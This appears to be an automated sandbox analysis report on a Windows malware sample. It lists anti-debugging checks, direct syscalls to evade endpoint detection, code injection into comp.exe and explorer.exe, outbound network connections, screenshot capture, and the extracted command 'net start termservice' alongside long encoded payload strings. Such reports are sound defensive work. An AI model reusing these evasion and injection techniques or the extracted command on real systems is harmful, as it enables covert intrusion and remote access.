Source: explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: http://www.vmware.com/0
Source: explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware, Inc.1!0
Source: explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: http://www.vmware.com/0/
Source: explorer.exe, 0000000C.00000003.2347246744.000000000303F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2601540859.0000000003027000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2346778928.000000000309C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2601540859.000000000309C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2156799640.000000000309C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware, Inc.1
Source: explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware, Inc.0
Source: explorer.exe, 0000000C.00000003.2347246744.000000000303F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2601540859.0000000003027000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F57E2D rdtsc 12_2_02F57E2D
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0A195 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_02F0A195
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Code function: 0_2_00632BED mov eax, dword ptr fs:[00000030h] 0_2_00632BED
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0DB50 mov eax, dword ptr fs:[00000030h] 12_2_02F0DB50
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F57E2D mov eax, dword ptr fs:[00000030h] 12_2_02F57E2D
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F15D42 mov eax, dword ptr fs:[00000030h] 12_2_02F15D42
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F20294 GetProcessHeap, 12_2_02F20294
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0A2F8 SetUnhandledExceptionFilter, 12_2_02F0A2F8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0A195 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_02F0A195
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0E87C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_02F0E87C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F098A8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 12_2_02F098A8

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\explorer.exe Network Connect: 172.67.213.173 80 Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE8070 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree, 12_2_02EE8070
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe NtProtectVirtualMemory: Direct from: 0x6CD3D3F3 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe NtProtectVirtualMemory: Direct from: 0x6CF52A6A Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe NtSetInformationThread: Direct from: 0x63388E Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe NtQuerySystemInformation: Direct from: 0x8B63F0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe NtProtectVirtualMemory: Direct from: 0x6CF52AFF Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\SysWOW64\comp.exe Memory written: PID: 316 base: B779C0 value: 55 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: PID: 316 base: 907008 value: 00 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: PID: 2012 base: B779C0 value: 55 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: PID: 2012 base: 319D008 value: 00 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: PID: 4108 base: B779C0 value: 55 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: PID: 4108 base: 3144008 value: 00 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: NULL target: C:\Windows\SysWOW64\comp.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: NULL target: C:\Windows\SysWOW64\comp.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Section loaded: NULL target: C:\Windows\SysWOW64\comp.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Section loaded: NULL target: C:\Windows\SysWOW64\explorer.exe protection: read write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\comp.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: B779C0 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 907008 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: B779C0 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 319D008 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: B779C0 Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Memory written: C:\Windows\SysWOW64\explorer.exe base: 3144008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Binary or memory string: Shell_TrayWndtooltips_class32U
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0A37F cpuid 12_2_02F0A37F
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetLocaleInfoW, 12_2_02F2222E
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 12_2_02F22354
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetLocaleInfoW, 12_2_02F2245A
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetLocaleInfoW, 12_2_02F1842E
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 12_2_02F22529
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 12_2_02F21BC8
Source: C:\Windows\SysWOW64\explorer.exe Code function: EnumSystemLocalesW, 12_2_02F21EB5
Source: C:\Windows\SysWOW64\explorer.exe Code function: EnumSystemLocalesW, 12_2_02F21E6A
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 12_2_02F21FDB
Source: C:\Windows\SysWOW64\explorer.exe Code function: EnumSystemLocalesW, 12_2_02F21F50
Source: C:\Windows\SysWOW64\explorer.exe Code function: EnumSystemLocalesW, 12_2_02F17F0C
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetLocaleInfoW, 12_2_02F21DC3
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Queries volume information: C:\Users\user\AppData\Local\Temp\d2d22b7a VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Queries volume information: C:\Users\user\AppData\Local\Temp\dcbc2b90 VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Queries volume information: C:\Users\user\AppData\Local\Temp\dc28f109 VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Queries volume information: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EEE8D0 GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,GetLocalTime,CoUninitialize, 12_2_02EEE8D0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE61F0 Sleep,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority, 12_2_02EE61F0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F1E6D1 _free,GetTimeZoneInformation,_free, 12_2_02F1E6D1
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE91B0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo, 12_2_02EE91B0

Remote Access Functionality
barindex
Contains functionality to start a terminal service
Source: comp.exe, 00000002.00000002.1650280495.0000000005970000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: comp.exe, 00000002.00000002.1650280495.0000000005970000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: comp.exe, 00000008.00000002.1719784982.0000000005820000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: comp.exe, 00000008.00000002.1719784982.0000000005820000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: comp.exe, 0000000A.00000002.1787365000.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: comp.exe, 0000000A.00000002.1787365000.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: explorer.exe String found in binary or memory: net start termservice
Source: explorer.exe, 0000000C.00000002.2601363769.0000000002F30000.00000002.00000001.01000000.00000000.sdmp String found in binary or memory: net start termservice
Source: explorer.exe, 0000000C.00000002.2601363769.0000000002F30000.00000002.00000001.01000000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUS